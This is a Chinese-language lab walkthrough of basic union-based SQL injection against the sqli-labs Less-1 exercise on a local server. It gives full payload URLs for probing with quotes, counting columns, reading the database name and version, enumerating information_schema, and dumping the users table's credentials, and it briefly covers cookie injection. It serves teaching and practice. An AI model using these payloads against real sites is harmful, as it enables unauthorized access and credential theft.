基础SQL注入
预备知识
对mysql数据库有一定了解;对基本的sql语句有所了解;
对url编码有了解:空格=‘%20’,单引号=‘%27’,双引号=‘%22’,井号=‘%23’等
基本步骤
1. 判断是什么类型注入,有没有过滤关键字,是否能绕过
2. 确定存在注入的表的列数以及表中数据那些字段可以显示出来
3. 获取数据库版本,用户,当前连接的数据库等信息
4. 获取数据库中所有表的信息
5. 获取某个表的列字段信息
5. 获取相应表的数据
Less1,基于错误的GET单引号字符型注入。
(单引号,and 1=1,and 1=2,)
http://127.0.0.1/sqli/Less-1/?id=2%27(宽字节注入)
错误提示:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2'' LIMIT 0,1' at line 1
此时的注入语句为: SELECT * FROM users WHERE id='2'' LIMIT 0,1 (报单引号不匹配的错)
注释符常用的有两种:
1. -- ' 一定要注意在最后一个单引号前面有空格
2. # (空格#空格)
第二步确定表的列数:
使用order by 语句。
当试到'4'时,出现报错信息,可以知道该表有3列:
Unknown column '4' in 'order clause'
执行的sql语句是:SELECT * FROM users WHERE id='2' order by 4 -- '' LIMIT 0,1
第三步,确定字段的显示位:
显示位:表中数据第几位的字段可以 显示,因为并不是所有的查询结果都 会展示在页面中,因此需要探测页面 中展示的查询结果是哪一列的结果; ‘union select 1,2,3 – ’ 通过显示的数字可以判断那些字段可以显示出来。
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 -- '
可见2,3所在的字段可以显示
ps:id=-1,使用-1是为了使前一个sql语句所选的内容为空,从而便于后面的select语句显示信息
第四步获取当前数据库信息
现在只有两个字段可以显示信息,显然在后面的查询数据中,两个字段是不够用,可以使用group_concat ()函数(可以把查询出来的多行数据连接起来在一个字段中显示)
database()函数:查看当前数据库名称
version()函数:查看数据库版本信息
user():返回当前数据库连接使用的用户
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database()或者version()),3 -- '
Your Login name:security5.5.53
Your Password:3
可以知道当前数据库名为security,数据库版本为5.5.53
第五步,获取全部数据库信息(表,列信息)
Mysql有一个系统的数据库information_schema,里面保存着所有数据库的相关信息,使用该表完成注入
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1, group_concat(schema_name),3 from information_schema.schemata -- ' 爆出所有数据库名字
以上命令可以获取到了所有的数据库信息 information_schema ,security(是例题中的数据库信息)
第六步:获取security数据库中的表信息
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' -- '(一般情况下要最好将security使用16进制hex编码转换。转换后记得要加0x)
Your Login name: emails , referers , uagents , users
Your Password:3
ps:table_schema= '数据库的名' table_name 表信息
第七步:获取user表的列
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,column_name,3 from information_schema.columns where table_name='users' limit0,1 -- '(users最好转换,I春秋上介绍,这句话的意思是查询information_schema数据库中columns表里的column_name字段(就是表最上面的标题)。条件是table_name为user
Your Login name: user_id , first_name , last_name , user , password , avatar , last_login , failed_login , id , username , password
Your Password:3
执行的sql语句是:SELECT * FROM users WHERE id='-1' union select 1,column_name, ,3 from information_schema.columns where table_name='users' -- '' LIMIT 0,1 这个一般都要加,加上去改变数字会导致不同
第八步:获取数据
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,username,password,3 from users -- '
Your Login name: Dumb Dumb, Angelina I-kill-you, Dummy p@ssword, secure crappy, stupid stupidity, superman genious, batman mob!le, admin admin, admin1 admin1, admin2 admin2, admin3 admin3, dhakkan dumbo, admin4 admin4
Your Password:3
Writeup,我要先查到注入类型跟注入点,然后用order by 查询整个大数据库里表的列数,database()显示的是当前页面所使用的数据库名称,shecm这个是mysql5.0版本之后特有的一个数据库,他包含了整个大数据库里所有数据库的表名跟列名。然后用union select 1,2,3…查列显示位置是多少。然后获取当前数据库的名字:union select 1,database()(写在显示位),3 –- ';得到当前数据库名称后,要找到当前数据库所有表信息,然后对指定想要获取的数据库获取数据库表信息(第六步),然后获取指定表下面的列信息 union select 列 from 表
第二篇:
Information_schema:存储mysql数据库下所有数据库的表名和列名信息的自带数据库
information_schema.schemata:存储mysql数据库下所有数据库的库名信息的表 (字段名为 schema_name的字段值) 字段就是列名
information_schema.tables:存储mysql数据库下所有数据库的表名信息的表 (字段名为 table_name:表名
条件为 table_schema:数据库名 )
information_schema.columns:存储mysql数据库下所有数据库的列名信息的表 (字段名为column_name:的字段值))
cookie注入:burp里截取到用户COOKIE后,将ID=多少再referer中cookie后面加分号之后填写上去,再写入命令。
基础SQL注入的更多相关文章
- 实验八 Web基础 SQL注入原理
实验八 Web基础 实验要求 (1)Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. (2)Web前端javascipt ...
- 渗透之路基础 -- SQL注入
目录 mysql注入(上) limit 有两个参数 limit 2,3 表示从2开始查3条 通过MySql内置数据库获取表名 通过MySql内置数据库获取表名对应的列名 mysql注入(中) SQL常 ...
- 安全测试基础-SQL注入详解
1:什么是SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行. www.xx.com/news.php?id=1 ...
- Sql注入基础原理介绍
说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...
- 通过sqli-labs学习sql注入——基础挑战之less1-3
首先,先看一些基础知识吧!!!!本人只是初学者,记录一下自己的学习过程,有什么错误之处请指出,谢谢!大佬请绕过!!!! url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加 ...
- 通过sqli-labs学习sql注入——基础挑战之less1
环境准备: Phpstudy (PHP+Apache+Mysql) Sql-lab 首先了解下基础知识: URL编码: 因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行UR ...
- Sqli-labs之sql注入基础知识
(1)注入的分类 基于从服务器接收到的响应 ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL盲注 •基于布尔SQL盲注 •基于时间的SQL盲注 •基于报错的SQL盲注 基于如何处理输 ...
- WEB安全基础之sql注入基础
1.基础sql语句 注释 单行注释# %23--+ --加空格多行注释/**/ SELECT(VERSION()) SELECT(USER()) SELECT(database()) 查数据库 SEL ...
- 结合jquery的前后端加密解密 适用于WebApi的SQL注入过滤器 Web.config中customErrors异常信息配置 ife2018 零基础学院 day 4 ife2018 零基础学院 day 3 ife 零基础学院 day 2 ife 零基础学院 day 1 - 我为什么想学前端
在一个正常的项目中,登录注册的密码是密文传输到后台服务端的,也就是说,首先前端js对密码做处理,随后再传递到服务端,服务端解密再加密传出到数据库里面.Dotnet已经提供了RSA算法的加解密类库,我们 ...
随机推荐
- vs visual stdio 调试 显示指针为数组
假如有这样一个指针 int * idx16 那么要想在调试里面显示为数组并且要显示的数组元素个数为24的话,则要写成idx16,24 如下图
- HDU2082母函数模板题
找单词 Time Limit: 1000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submis ...
- JVM类加载机制与反射-转
一.Java类加载机制 1.概述 Class文件由类装载器装载后,在JVM中将形成一份描述Class结构的元信息对象,通过该元信息对象可以获知Class的结构信息:如构造函数,属性和方法等,Java允 ...
- Android Glide 源码分析系列(待完成)
参考:https://jekton.github.io/2018/06/08/glide-disk-cache/ 参考:https://jekton.github.io/2018/06/20/glid ...
- linux上ssh免密登录原理及实现
因为我的服务器集群需要回收日志到中央进行统一处理,所以需要建立ssh互信关系实现免密登录.关于ssh的使用大家可能都很熟悉了,我们今天主要来讲下ssh连接和免密登录的原理. scp 传输文件 scp( ...
- 【转载】Hadoop 2.7.3 和Hbase 1.2.4安装教程
转载地址:http://blog.csdn.net/napoay/article/details/54136398 目录(?)[+] 一.机器环境 系统:MAC OS Hadoop:2.7.3 H ...
- Jquery on方法绑定事件后执行多次
每次绑定前先取消上次的绑定. $('#sub').unbind('click').click(function () { ... });
- k8s 官方 配置文件使用教程
官网链接为 https://kubernetes.io/docs/tasks/configure-pod-container/assign-memory-resource/#create-a-name ...
- Diffuse贴图+Lightmap+Ambient
shader里面光照计算毕竟还是比较复杂的,于是想到下面的性能相对好一些的方案. 美术提供一张Diffuse贴图,一张lightmap贴图,然后在应用一个自定义的全局的环境光效果,来模拟静态的光照. ...
- Linux 文件umask默认权限_012
一. umask介绍 Linux 系统用户创建一个新的目录或文件时,系统会默认会分配相应的权限.目录或文件的权限是如何产生的呢? 1.这就是umask的功能,umask设置了用户创建文件或 ...